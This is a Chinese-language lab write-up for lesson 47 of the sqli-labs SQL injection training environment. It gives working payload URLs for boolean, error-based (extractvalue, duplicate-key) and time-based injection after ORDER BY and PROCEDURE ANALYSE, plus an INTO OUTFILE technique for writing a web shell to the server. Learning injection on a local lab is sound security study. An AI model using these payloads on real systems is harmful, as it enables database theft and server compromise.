Less-47
本关的sql语句为 $sql = "SELECT * FROM users ORDER BY ‘$id‘";
将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
- 、order by后的参数
我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
① and rand相结合的方式,payload:http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%27and%20rand(ascii(left(database(),1))=115)--+
换成116后,http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%27and%20rand(ascii(left(database(),1))=116)--+
此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。
②可以利用报错的方式进行
可以看到user()的内容,同时可以构造其他的语句进行注入。
这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。
此处重复了version(),所以就爆出了版本号
③延时注入
这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。
(2)procedure analyse参数后注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
以下为示范例
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
- 导入导出文件into outfile参数
http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.txt%22--+
将查询结果导入到文件当中
那这个时候我们可以考虑上传网马,利用lines terminated by。
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16进制转换)
此处的16进制文件为<?php phpinfo();?>
我们访问test.php